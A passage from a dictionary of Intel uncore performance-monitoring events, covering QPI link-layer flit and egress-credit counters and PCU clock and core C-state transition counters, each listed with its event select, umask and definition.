"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"QPI_LL.TxL_FLITS_G2.NCB": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001100",
},
"QPI_LL.TxL_FLITS_G2.NCB_NONDATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00001000",
},
"QPI_LL.TxL_FLITS_G2.NCB_DATA": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000100",
},
"QPI_LL.TxL_FLITS_G2.NCS": {
"Box": "QPI_LL",
"Category": "QPI_LL FLITS_TX Events",
"Counters": "0-3",
"Defn": "Counts the number of flits transmitted across the QPI Link. This is one of three \"groups\" that allow us to track flits. It includes filters for NDR, NCB, and NCS message classes. Each \"flit\" is made up of 80 bits of information (in addition to some ECC data). In full-width (L0) mode, flits are made up of four \"fits\", each of which contains 20 bits of data (along with some additional ECC data). In half-width (L0p) mode, the fits are only 10 bits, and therefore it takes twice as many fits to transmit a flit. When one talks about QPI \"speed\" (for example, 8.0 GT/s), the \"transfers\" here refer to \"fits\". Therefore, in L0, the system will transfer 1 \"flit\" at the rate of 1/4th the QPI speed. One can calculate the bandwidth of the link by taking: flits*80b/time. Note that this is not the same as \"data\" bandwidth. For example, when we are transfering a 64B cacheline across QPI, we will break it into 9 flits -- 1 with header information and 8 with 64 bits of actual \"data\" and an additional 16 bits of other information. To calculate \"data\" bandwidth, one should therefore do: data flits * 8B / time.",
"Desc": "Flits Transferred - Group 2",
"EvSel": 1,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00010000",
},
"QPI_LL.TxL_INSERTS": {
"Box": "QPI_LL",
"Category": "QPI_LL TXQ Events",
"Counters": "0-3",
"Defn": "Number of allocations into the QPI Tx Flit Buffer. Generally, when data is transmitted across QPI, it will bypass the TxQ and pass directly to the link. However, the TxQ will be used with L0p and when LLR occurs, increasing latency to transfer out to the link. This event can be used in conjunction with the Flit Buffer Occupancy event in order to calculate the average flit buffer lifetime.",
"Desc": "Tx Flit Buffer Allocations",
"EvSel": 4,
"ExtSel": "",
},
"QPI_LL.TxL_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL TXQ Events",
"Counters": "0-3",
"Defn": "Accumulates the number of flits in the TxQ. Generally, when data is transmitted across QPI, it will bypass the TxQ and pass directly to the link. However, the TxQ will be used with L0p and when LLR occurs, increasing latency to transfer out to the link. This can be used with the cycles not empty event to track average occupancy, or the allocations event to track average lifetime in the TxQ.",
"Desc": "Tx Flit Buffer Occupancy",
"EvSel": 7,
"ExtSel": "",
},
"QPI_LL.TxR_AD_HOM_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for Home messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - HOM",
"EvSel": 38,
"ExtSel": "",
},
"QPI_LL.TxR_AD_HOM_CREDIT_ACQUIRED.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for Home messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - HOM",
"EvSel": 38,
"ExtSel": "",
"Umask": "b00000001",
},
"QPI_LL.TxR_AD_HOM_CREDIT_ACQUIRED.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for Home messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - HOM",
"EvSel": 38,
"ExtSel": "",
"Umask": "b00000010",
},
"QPI_LL.TxR_AD_HOM_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO for HOM messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD HOM",
"EvSel": 34,
"ExtSel": "",
"MaxIncCyc": 28,
"SubCtr": 1,
},
"QPI_LL.TxR_AD_HOM_CREDIT_OCCUPANCY.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO for HOM messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD HOM",
"EvSel": 34,
"ExtSel": "",
"MaxIncCyc": 28,
"SubCtr": 1,
"Umask": "b00000010",
},
"QPI_LL.TxR_AD_HOM_CREDIT_OCCUPANCY.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO for HOM messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD HOM",
"EvSel": 34,
"ExtSel": "",
"MaxIncCyc": 28,
"SubCtr": 1,
"Umask": "b00000001",
},
"QPI_LL.TxR_AD_NDR_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for NDR messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD NDR",
"EvSel": 40,
"ExtSel": "",
},
"QPI_LL.TxR_AD_NDR_CREDIT_ACQUIRED.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for NDR messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD NDR",
"EvSel": 40,
"ExtSel": "",
"Umask": "b00000001",
},
"QPI_LL.TxR_AD_NDR_CREDIT_ACQUIRED.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for NDR messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD NDR",
"EvSel": 40,
"ExtSel": "",
"Umask": "b00000010",
},
"QPI_LL.TxR_AD_NDR_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO for NDR messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD NDR",
"EvSel": 36,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
},
"QPI_LL.TxR_AD_NDR_CREDIT_OCCUPANCY.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO for NDR messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD NDR",
"EvSel": 36,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b00000001",
},
"QPI_LL.TxR_AD_NDR_CREDIT_OCCUPANCY.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO for NDR messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD NDR",
"EvSel": 36,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b00000010",
},
"QPI_LL.TxR_AD_SNP_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for Snoop messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - SNP",
"EvSel": 39,
"ExtSel": "",
},
"QPI_LL.TxR_AD_SNP_CREDIT_ACQUIRED.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for Snoop messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - SNP",
"EvSel": 39,
"ExtSel": "",
"Umask": "b00000010",
},
"QPI_LL.TxR_AD_SNP_CREDIT_ACQUIRED.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of link layer credits into the R3 (for transactions across the BGF) acquired each cycle. Flow Control FIFO for Snoop messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - SNP",
"EvSel": 39,
"ExtSel": "",
"Umask": "b00000001",
},
"QPI_LL.TxR_AD_SNP_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO fro Snoop messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD SNP",
"EvSel": 35,
"ExtSel": "",
"MaxIncCyc": 28,
"SubCtr": 1,
},
"QPI_LL.TxR_AD_SNP_CREDIT_OCCUPANCY.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO fro Snoop messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD SNP",
"EvSel": 35,
"ExtSel": "",
"MaxIncCyc": 28,
"SubCtr": 1,
"Umask": "b00000010",
},
"QPI_LL.TxR_AD_SNP_CREDIT_OCCUPANCY.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of link layer credits into the R3 (for transactions across the BGF) available in each cycle. Flow Control FIFO fro Snoop messages on AD.",
"Desc": "R3QPI Egress Credit Occupancy - AD SNP",
"EvSel": 35,
"ExtSel": "",
"MaxIncCyc": 28,
"SubCtr": 1,
"Umask": "b00000001",
},
"QPI_LL.TxR_AK_NDR_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. Local NDR message class to AK Egress.",
"Desc": "R3QPI Egress Credit Occupancy - AK NDR",
"EvSel": 41,
"ExtSel": "",
},
"QPI_LL.TxR_AK_NDR_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. Local NDR message class to AK Egress.",
"Desc": "R3QPI Egress Credit Occupancy - AK NDR",
"EvSel": 37,
"ExtSel": "",
"MaxIncCyc": 6,
"SubCtr": 1,
},
"QPI_LL.TxR_BL_DRS_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - DRS",
"EvSel": 42,
"ExtSel": "",
},
"QPI_LL.TxR_BL_DRS_CREDIT_ACQUIRED.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - DRS",
"EvSel": 42,
"ExtSel": "",
"Umask": "b00000010",
},
"QPI_LL.TxR_BL_DRS_CREDIT_ACQUIRED.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - DRS",
"EvSel": 42,
"ExtSel": "",
"Umask": "b00000001",
},
"QPI_LL.TxR_BL_DRS_CREDIT_ACQUIRED.VN_SHR": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - DRS",
"EvSel": 42,
"ExtSel": "",
"Umask": "b00000100",
},
"QPI_LL.TxR_BL_DRS_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL DRS",
"EvSel": 31,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
},
"QPI_LL.TxR_BL_DRS_CREDIT_OCCUPANCY.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL DRS",
"EvSel": 31,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b00000010",
},
"QPI_LL.TxR_BL_DRS_CREDIT_OCCUPANCY.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL DRS",
"EvSel": 31,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b00000001",
},
"QPI_LL.TxR_BL_DRS_CREDIT_OCCUPANCY.VN_SHR": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. DRS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL DRS",
"EvSel": 31,
"ExtSel": "",
"MaxIncCyc": 8,
"SubCtr": 1,
"Umask": "b00000100",
},
"QPI_LL.TxR_BL_NCB_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. NCB message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - NCB",
"EvSel": 43,
"ExtSel": "",
},
"QPI_LL.TxR_BL_NCB_CREDIT_ACQUIRED.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. NCB message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - NCB",
"EvSel": 43,
"ExtSel": "",
"Umask": "b00000001",
},
"QPI_LL.TxR_BL_NCB_CREDIT_ACQUIRED.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. NCB message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - NCB",
"EvSel": 43,
"ExtSel": "",
"Umask": "b00000010",
},
"QPI_LL.TxR_BL_NCB_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. NCB message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL NCB",
"EvSel": 32,
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
},
"QPI_LL.TxR_BL_NCB_CREDIT_OCCUPANCY.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. NCB message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL NCB",
"EvSel": 32,
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
"Umask": "b00000001",
},
"QPI_LL.TxR_BL_NCB_CREDIT_OCCUPANCY.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. NCB message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL NCB",
"EvSel": 32,
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
"Umask": "b00000010",
},
"QPI_LL.TxR_BL_NCS_CREDIT_ACQUIRED": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. NCS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - NCS",
"EvSel": 44,
"ExtSel": "",
},
"QPI_LL.TxR_BL_NCS_CREDIT_ACQUIRED.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. NCS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - NCS",
"EvSel": 44,
"ExtSel": "",
"Umask": "b00000010",
},
"QPI_LL.TxR_BL_NCS_CREDIT_ACQUIRED.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Number of credits into the R3 (for transactions across the BGF) acquired each cycle. NCS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - NCS",
"EvSel": 44,
"ExtSel": "",
"Umask": "b00000001",
},
"QPI_LL.TxR_BL_NCS_CREDIT_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. NCS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL NCS",
"EvSel": 33,
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
},
"QPI_LL.TxR_BL_NCS_CREDIT_OCCUPANCY.VN0": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. NCS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL NCS",
"EvSel": 33,
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
"Umask": "b00000001",
},
"QPI_LL.TxR_BL_NCS_CREDIT_OCCUPANCY.VN1": {
"Box": "QPI_LL",
"Category": "QPI_LL R3QPI_EGRESS_CREDITS Events",
"Counters": "0-3",
"Defn": "Occupancy event that tracks the number of credits into the R3 (for transactions across the BGF) available in each cycle. NCS message class to BL Egress.",
"Desc": "R3QPI Egress Credit Occupancy - BL NCS",
"EvSel": 33,
"ExtSel": "",
"MaxIncCyc": 2,
"SubCtr": 1,
"Umask": "b00000010",
},
"QPI_LL.VNA_CREDIT_RETURNS": {
"Box": "QPI_LL",
"Category": "QPI_LL VNA_CREDIT_RETURN Events",
"Counters": "0-3",
"Defn": "Number of VNA credits returned.",
"Desc": "VNA Credits Returned",
"EvSel": 28,
"ExtSel": "",
},
"QPI_LL.VNA_CREDIT_RETURN_OCCUPANCY": {
"Box": "QPI_LL",
"Category": "QPI_LL VNA_CREDIT_RETURN Events",
"Counters": "0-3",
"Defn": "Number of VNA credits in the Rx side that are waitng to be returned back across the link.",
"Desc": "VNA Credits Pending Return - Occupancy",
"EvSel": 27,
"ExtSel": "",
"MaxIncCyc": 128,
"SubCtr": 1,
},
# PCU:
"PCU.CLOCKTICKS": {
"Box": "PCU",
"Category": "PCU PCLK Events",
"Counters": "0-3",
"Defn": "The PCU runs off a fixed 800 MHz clock. This event counts the number of pclk cycles measured while the counter was enabled. The pclk, like the Memory Controller's dclk, counts at a constant rate making it a good measure of actual wall time.",
"Desc": "pclk Cycles",
"EvSel": 0,
"ExtSel": "",
},
"PCU.CORE0_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 96,
"ExtSel": "",
"Notes": "This only tracks the hardware portion in the RCFSM (CFCFSM). This portion is just doing the core C state transition. It does not include any necessary frequency/voltage transitions.",
},
"PCU.CORE10_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 106,
"ExtSel": "",
},
"PCU.CORE11_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 107,
"ExtSel": "",
},
"PCU.CORE12_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 108,
"ExtSel": "",
},
"PCU.CORE13_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 109,
"ExtSel": "",
},
"PCU.CORE14_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 110,
"ExtSel": "",
},
"PCU.CORE15_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 111,
"ExtSel": "",
},
"PCU.CORE16_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 112,
"ExtSel": "",
},
"PCU.CORE17_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 113,
"ExtSel": "",
},
"PCU.CORE1_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 97,
"ExtSel": "",
},
"PCU.CORE2_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 98,
"ExtSel": "",
},
"PCU.CORE3_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 99,
"ExtSel": "",
},
"PCU.CORE4_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 100,
"ExtSel": "",
},
"PCU.CORE5_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
"Desc": "Core C State Transition Cycles",
"EvSel": 101,
"ExtSel": "",
},
"PCU.CORE6_TRANSITION_CYCLES": {
"Box": "PCU",
"Category": "PCU CORE_C_STATE_TRANSITION Events",
"Counters": "0-3",
"Defn": "Number of cycles spent performing core C state transitions. There is one event per core.",
